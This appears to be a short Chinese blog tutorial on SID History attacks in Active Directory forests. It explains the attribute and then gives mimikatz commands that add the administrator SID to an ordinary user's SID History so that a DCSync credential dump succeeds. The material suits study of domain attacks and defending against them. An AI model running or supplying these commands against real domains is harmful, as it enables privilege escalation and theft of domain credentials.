SID History 域林攻击：域林攻击详解-CSDN博客
SID History
根据微软的描述，SID History 属性是微软对域内用户进行域迁移的支持而创建的。每当对象从一个域移动到另一个域时，都会创建一个新的 SID，并且该新 SID 将成为 objectSID。先前的 SID 会添加到 SID History 属性中，以确保该用户迁移后仍然能访问迁移前能访问的资源。
mimikatz.exe lsadump::dcsyn /all /csv # 无权限。
# 将 administrator 的 sid 添加到 deandean 的 SID History 属性中 privilege::debug sid::patch sid::add /sam:deandean /new:administrator
重新攻击
mimikatz.exe lsadump::dcsyn /all /csv # 域控认为用户 deandean 是 administrator 迁移的，所以给他 administrator
